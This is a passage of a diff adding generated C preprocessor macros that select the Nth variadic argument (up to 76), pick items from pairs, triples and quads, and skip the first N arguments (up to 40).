+#define M_RET_ARG26(...) M_RETI_ARG26(__VA_ARGS__,)
+
+#define M_RETI_ARG27(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, ...) _27
+#define M_RET_ARG27(...) M_RETI_ARG27(__VA_ARGS__,)
+
+#define M_RETI_ARG28(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, ...) _28
+#define M_RET_ARG28(...) M_RETI_ARG28(__VA_ARGS__,)
+
+#define M_RETI_ARG29(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, ...) _29
+#define M_RET_ARG29(...) M_RETI_ARG29(__VA_ARGS__,)
+
+#define M_RETI_ARG30(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, ...) _30
+#define M_RET_ARG30(...) M_RETI_ARG30(__VA_ARGS__,)
+
+#define M_RETI_ARG31(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, ...) _31
+#define M_RET_ARG31(...) M_RETI_ARG31(__VA_ARGS__,)
+
+#define M_RETI_ARG32(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, ...) _32
+#define M_RET_ARG32(...) M_RETI_ARG32(__VA_ARGS__,)
+
+#define M_RETI_ARG33(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, ...) _33
+#define M_RET_ARG33(...) M_RETI_ARG33(__VA_ARGS__,)
+
+#define M_RETI_ARG34(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, ...) _34
+#define M_RET_ARG34(...) M_RETI_ARG34(__VA_ARGS__,)
+
+#define M_RETI_ARG35(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, ...) _35
+#define M_RET_ARG35(...) M_RETI_ARG35(__VA_ARGS__,)
+
+#define M_RETI_ARG36(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, ...) _36
+#define M_RET_ARG36(...) M_RETI_ARG36(__VA_ARGS__,)
+
+#define M_RETI_ARG37(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, ...) _37
+#define M_RET_ARG37(...) M_RETI_ARG37(__VA_ARGS__,)
+
+#define M_RETI_ARG38(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, ...) _38
+#define M_RET_ARG38(...) M_RETI_ARG38(__VA_ARGS__,)
+
+#define M_RETI_ARG39(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, ...) _39
+#define M_RET_ARG39(...) M_RETI_ARG39(__VA_ARGS__,)
+
+#define M_RETI_ARG40(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, ...) _40
+#define M_RET_ARG40(...) M_RETI_ARG40(__VA_ARGS__,)
+
+#define M_RETI_ARG41(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, ...) _41
+#define M_RET_ARG41(...) M_RETI_ARG41(__VA_ARGS__,)
+
+#define M_RETI_ARG42(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, ...) _42
+#define M_RET_ARG42(...) M_RETI_ARG42(__VA_ARGS__,)
+
+#define M_RETI_ARG43(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, ...) _43
+#define M_RET_ARG43(...) M_RETI_ARG43(__VA_ARGS__,)
+
+#define M_RETI_ARG44(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, ...) _44
+#define M_RET_ARG44(...) M_RETI_ARG44(__VA_ARGS__,)
+
+#define M_RETI_ARG45(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, ...) _45
+#define M_RET_ARG45(...) M_RETI_ARG45(__VA_ARGS__,)
+
+#define M_RETI_ARG46(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, ...) _46
+#define M_RET_ARG46(...) M_RETI_ARG46(__VA_ARGS__,)
+
+#define M_RETI_ARG47(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, ...) _47
+#define M_RET_ARG47(...) M_RETI_ARG47(__VA_ARGS__,)
+
+#define M_RETI_ARG48(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, ...) _48
+#define M_RET_ARG48(...) M_RETI_ARG48(__VA_ARGS__,)
+
+#define M_RETI_ARG49(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, ...) _49
+#define M_RET_ARG49(...) M_RETI_ARG49(__VA_ARGS__,)
+
+#define M_RETI_ARG50(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, ...) _50
+#define M_RET_ARG50(...) M_RETI_ARG50(__VA_ARGS__,)
+
+#define M_RETI_ARG51(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, ...) _51
+#define M_RET_ARG51(...) M_RETI_ARG51(__VA_ARGS__,)
+
+#define M_RETI_ARG52(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, ...) _52
+#define M_RET_ARG52(...) M_RETI_ARG52(__VA_ARGS__,)
+
+#define M_RETI_ARG53(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, ...) _53
+#define M_RET_ARG53(...) M_RETI_ARG53(__VA_ARGS__,)
+
+#define M_RETI_ARG54(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, ...) _54
+#define M_RET_ARG54(...) M_RETI_ARG54(__VA_ARGS__,)
+
+#define M_RETI_ARG55(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, ...) _55
+#define M_RET_ARG55(...) M_RETI_ARG55(__VA_ARGS__,)
+
+#define M_RETI_ARG56(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, ...) _56
+#define M_RET_ARG56(...) M_RETI_ARG56(__VA_ARGS__,)
+
+#define M_RETI_ARG57(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, ...) _57
+#define M_RET_ARG57(...) M_RETI_ARG57(__VA_ARGS__,)
+
+#define M_RETI_ARG58(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, ...) _58
+#define M_RET_ARG58(...) M_RETI_ARG58(__VA_ARGS__,)
+
+#define M_RETI_ARG59(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, ...) _59
+#define M_RET_ARG59(...) M_RETI_ARG59(__VA_ARGS__,)
+
+#define M_RETI_ARG60(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, ...) _60
+#define M_RET_ARG60(...) M_RETI_ARG60(__VA_ARGS__,)
+
+#define M_RETI_ARG61(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, ...) _61
+#define M_RET_ARG61(...) M_RETI_ARG61(__VA_ARGS__,)
+
+#define M_RETI_ARG62(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, ...) _62
+#define M_RET_ARG62(...) M_RETI_ARG62(__VA_ARGS__,)
+
+#define M_RETI_ARG63(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, ...) _63
+#define M_RET_ARG63(...) M_RETI_ARG63(__VA_ARGS__,)
+
+#define M_RETI_ARG64(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, ...) _64
+#define M_RET_ARG64(...) M_RETI_ARG64(__VA_ARGS__,)
+
+#define M_RETI_ARG65(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, ...) _65
+#define M_RET_ARG65(...) M_RETI_ARG65(__VA_ARGS__,)
+
+#define M_RETI_ARG66(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, ...) _66
+#define M_RET_ARG66(...) M_RETI_ARG66(__VA_ARGS__,)
+
+#define M_RETI_ARG67(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, ...) _67
+#define M_RET_ARG67(...) M_RETI_ARG67(__VA_ARGS__,)
+
+#define M_RETI_ARG68(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, ...) _68
+#define M_RET_ARG68(...) M_RETI_ARG68(__VA_ARGS__,)
+
+#define M_RETI_ARG69(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, ...) _69
+#define M_RET_ARG69(...) M_RETI_ARG69(__VA_ARGS__,)
+
+#define M_RETI_ARG70(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, ...) _70
+#define M_RET_ARG70(...) M_RETI_ARG70(__VA_ARGS__,)
+
+#define M_RETI_ARG71(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, ...) _71
+#define M_RET_ARG71(...) M_RETI_ARG71(__VA_ARGS__,)
+
+#define M_RETI_ARG72(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, ...) _72
+#define M_RET_ARG72(...) M_RETI_ARG72(__VA_ARGS__,)
+
+#define M_RETI_ARG73(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, ...) _73
+#define M_RET_ARG73(...) M_RETI_ARG73(__VA_ARGS__,)
+
+#define M_RETI_ARG74(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, ...) _74
+#define M_RET_ARG74(...) M_RETI_ARG74(__VA_ARGS__,)
+
+#define M_RETI_ARG75(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, _75, ...) _75
+#define M_RET_ARG75(...) M_RETI_ARG75(__VA_ARGS__,)
+
+#define M_RETI_ARG76(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, _75, _76, ...) _76
+#define M_RET_ARG76(...) M_RETI_ARG76(__VA_ARGS__,)
+
+
+/* Return the value of the "arglist" associated to the given index (zero based).
+   An "arglist" is a VA_ARGS between parenthesis.
+   EXAMPLE: M_GET_AT((f_0,f_1,f_2),1) returns f_1
+ */
+#define M_GET_AT(arglist, index)    M_RET_ARG(M_INC(index), M_GETI_AT_ID arglist)
+#define M_GETI_AT_ID(...)           __VA_ARGS__
+
+
+/* For a pair of argument (arg0, arg1), return either the first or the second.
+   NOTE: Needed in case where M_RET_ARG<n> cannot be used */
+#define M_PAIR_1(a,b) a
+#define M_PAIR_2(a,b) b
+
+/* Same for triple */
+#define M_TRIPLE_1(a,b,c) a
+#define M_TRIPLE_2(a,b,c) b
+#define M_TRIPLE_3(a,b,c) c
+
+/* Same for quad */
+#define M_QUAD_1(a,b,c,d) a
+#define M_QUAD_2(a,b,c,d) b
+#define M_QUAD_3(a,b,c,d) c
+#define M_QUAD_4(a,b,c,d) d
+
+/* Skip the Nth first arguments of a VA_ARGS
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_SKIPI_%d(" $i ; for j in $(seq 1 $i) ; do printf "_%d, " $j ; done ; printf "...) __VA_ARGS__\n"; done
+ */
+#define M_SKIP_ARGS(n, ...)   M_C(M_SKIPI_, n)(__VA_ARGS__)
+#define M_SKIPI_0(...) __VA_ARGS__
+#define M_SKIPI_1(_1, ...) __VA_ARGS__
+#define M_SKIPI_2(_1, _2, ...) __VA_ARGS__
+#define M_SKIPI_3(_1, _2, _3, ...) __VA_ARGS__
+#define M_SKIPI_4(_1, _2, _3, _4, ...) __VA_ARGS__
+#define M_SKIPI_5(_1, _2, _3, _4, _5, ...) __VA_ARGS__
+#define M_SKIPI_6(_1, _2, _3, _4, _5, _6, ...) __VA_ARGS__
+#define M_SKIPI_7(_1, _2, _3, _4, _5, _6, _7, ...) __VA_ARGS__
+#define M_SKIPI_8(_1, _2, _3, _4, _5, _6, _7, _8, ...) __VA_ARGS__
+#define M_SKIPI_9(_1, _2, _3, _4, _5, _6, _7, _8, _9, ...) __VA_ARGS__
+#define M_SKIPI_10(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, ...) __VA_ARGS__
+#define M_SKIPI_11(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, ...) __VA_ARGS__
+#define M_SKIPI_12(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, ...) __VA_ARGS__
+#define M_SKIPI_13(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, ...) __VA_ARGS__
+#define M_SKIPI_14(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, ...) __VA_ARGS__
+#define M_SKIPI_15(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, ...) __VA_ARGS__
+#define M_SKIPI_16(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, ...) __VA_ARGS__
+#define M_SKIPI_17(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, ...) __VA_ARGS__
+#define M_SKIPI_18(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, ...) __VA_ARGS__
+#define M_SKIPI_19(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, ...) __VA_ARGS__
+#define M_SKIPI_20(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, ...) __VA_ARGS__
+#define M_SKIPI_21(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, ...) __VA_ARGS__
+#define M_SKIPI_22(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, ...) __VA_ARGS__
+#define M_SKIPI_23(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, ...) __VA_ARGS__
+#define M_SKIPI_24(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, ...) __VA_ARGS__
+#define M_SKIPI_25(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, ...) __VA_ARGS__
+#define M_SKIPI_26(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, ...) __VA_ARGS__
+#define M_SKIPI_27(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, ...) __VA_ARGS__
+#define M_SKIPI_28(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, ...) __VA_ARGS__
+#define M_SKIPI_29(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, ...) __VA_ARGS__
+#define M_SKIPI_30(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, ...) __VA_ARGS__
+#define M_SKIPI_31(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, ...) __VA_ARGS__
+#define M_SKIPI_32(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, ...) __VA_ARGS__
+#define M_SKIPI_33(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, ...) __VA_ARGS__
+#define M_SKIPI_34(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, ...) __VA_ARGS__
+#define M_SKIPI_35(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, ...) __VA_ARGS__
+#define M_SKIPI_36(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, ...) __VA_ARGS__
+#define M_SKIPI_37(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, ...) __VA_ARGS__
+#define M_SKIPI_38(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, ...) __VA_ARGS__
+#define M_SKIPI_39(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, ...) __VA_ARGS__
+#define M_SKIPI_40(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, ...) __VA_ARGS__
